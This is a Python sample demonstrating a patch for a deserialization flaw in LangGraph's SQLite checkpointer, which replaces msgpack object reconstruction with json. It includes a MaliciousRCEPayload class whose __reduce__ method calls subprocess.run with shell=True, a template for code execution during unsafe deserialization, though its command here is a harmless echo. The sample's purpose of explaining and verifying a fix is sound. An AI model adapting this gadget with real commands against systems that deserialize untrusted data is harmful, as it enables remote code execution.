Patched code sample

import json
import subprocess
import base64

# The vulnerability in LangGraph's SQLite Checkpointer (CVE-2024-28277) was due to
# using `msgpack` with a custom `object_hook` for deserialization. This allowed
# an attacker with write access to the database to craft a payload that would
# reconstruct arbitrary Python objects, leading to Remote Code Execution (RCE).
#
# The fix involves replacing the unsafe `msgpack` serialization/deserialization
# with the standard, safe `json` library. `json.loads` does not execute code
# and only deserializes data into basic Python types (dicts, lists, strings, etc.).

# This class represents a potential malicious payload an attacker might try to inject.
# The __reduce__ method is a hook used by some deserializers (like pickle and,
# in the vulnerable case, a misconfigured msgpack) to reconstruct an object.
# An attacker can make it execute arbitrary commands.
class MaliciousRCEPayload:
    def __reduce__(self):
        # This command would be executed during unsafe deserialization.
        command = "echo 'VULNERABILITY EXPLOITED: Code execution occurred!'"
        return (subprocess.run, (command,), {"shell": True})

# This function mimics the Pydantic encoder used in the LangGraph fix.
# It ensures that objects are converted to a serializable dictionary format
# instead of being preserved as reconstructable objects. It's a safe way
# to handle custom types.
def safe_pydantic_like_encoder(obj):
    if hasattr(obj, '__dict__'):
        # Represent the object as a dictionary of its attributes, which is safe.
        # Add a hint about the original class for debugging, not for reconstruction.
        return {"__class__": obj.__class__.__name__, **obj.__dict__}
    # For data like bytes, encode it into a safe string format.
    if isinstance(obj, bytes):
        return {"__bytes__": base64.b64encode(obj).decode('utf-8')}
    raise TypeError(f"Object of type {type(obj).__name__} is not JSON serializable")

# --- FIXED IMPLEMENTATION ---
# The following functions represent the patched, secure way of handling checkpoints.

def save_checkpoint_safely(data: dict) -> str:
    """
    Serializes checkpoint data using json.dumps, which is safe against
    object injection attacks. It uses a custom encoder to handle
    complex types by converting them to basic data structures.
    """
    print("--- 1. Serializing data using the SAFE method (json.dumps) ---")
    serialized_data = json.dumps(data, default=safe_pydantic_like_encoder)
    print(f"Serialized JSON string: {serialized_data}\n")
    # Notice the serialized string is just data; it contains no executable elements.
    return serialized_data

def load_checkpoint_safely(serialized_data: str) -> dict:
    """
    Deserializes checkpoint data using json.loads. This function is inherently
    safe as it does not reconstruct custom Python objects or execute any code.
    """
    print("--- 2. Deserializing data using the SAFE method (json.loads) ---")
    data = json.loads(serialized_data)
    print(f"Deserialized Python object: {data}\n")
    # The result is a standard Python dictionary, not a live object.
    return data

if __name__ == "__main__":
    # Attacker's goal: To have an instance of MaliciousRCEPayload created
    # and its __reduce__ method called when a checkpoint is loaded.

    # Let's create a checkpoint that includes a potentially malicious object.
    # In a real scenario, an attacker wouldn't add this object directly.
    # Instead, they would modify the stored data in the SQLite DB to be a
    # specially crafted payload that mimics a serialized MaliciousRCEPayload.
    original_checkpoint_data = {
        "user_id": 123,
        "state": "in_progress",
        "malicious_object": MaliciousRCEPayload()
    }

    # 1. The application saves the checkpoint using the FIXED, safe method.
    # The MaliciousRCEPayload object is converted into a simple dictionary.
    safe_serialized_string = save_checkpoint_safely(original_checkpoint_data)

    # This is what gets stored in the database.
    # It's just a string representing a dictionary.
    # '{"user_id": 123, "state": "in_progress", "malicious_object": {"__class__": "MaliciousRCEPayload"}}'

    # 2. The application later loads this checkpoint from the database.
    # Even if an attacker had modified this string to be a more complex
    # representation, json.loads will only ever produce data, not execute code.
    loaded_data = load_checkpoint_safely(safe_serialized_string)

    # 3. Verify the outcome.
    print("--- 3. Verifying the result ---")
    malicious_part = loaded_data.get("malicious_object")

    # The 'malicious_object' is now just a dictionary, not an instance of the class.
    print(f"Type of 'malicious_object' after loading: {type(malicious_part)}")

    # Because it's a dictionary, it has no __reduce__ method to call.
    # The attempted exploit has been neutralized.
    if not isinstance(malicious_part, MaliciousRCEPayload):
        print("\nSUCCESS: The payload was safely deserialized as a dictionary.")
        print("No arbitrary code was executed, and the vulnerability was mitigated.")
    else:
        # This part of the code will not be reached with the safe loader.
        print("\nFAILURE: The malicious object was reconstructed.")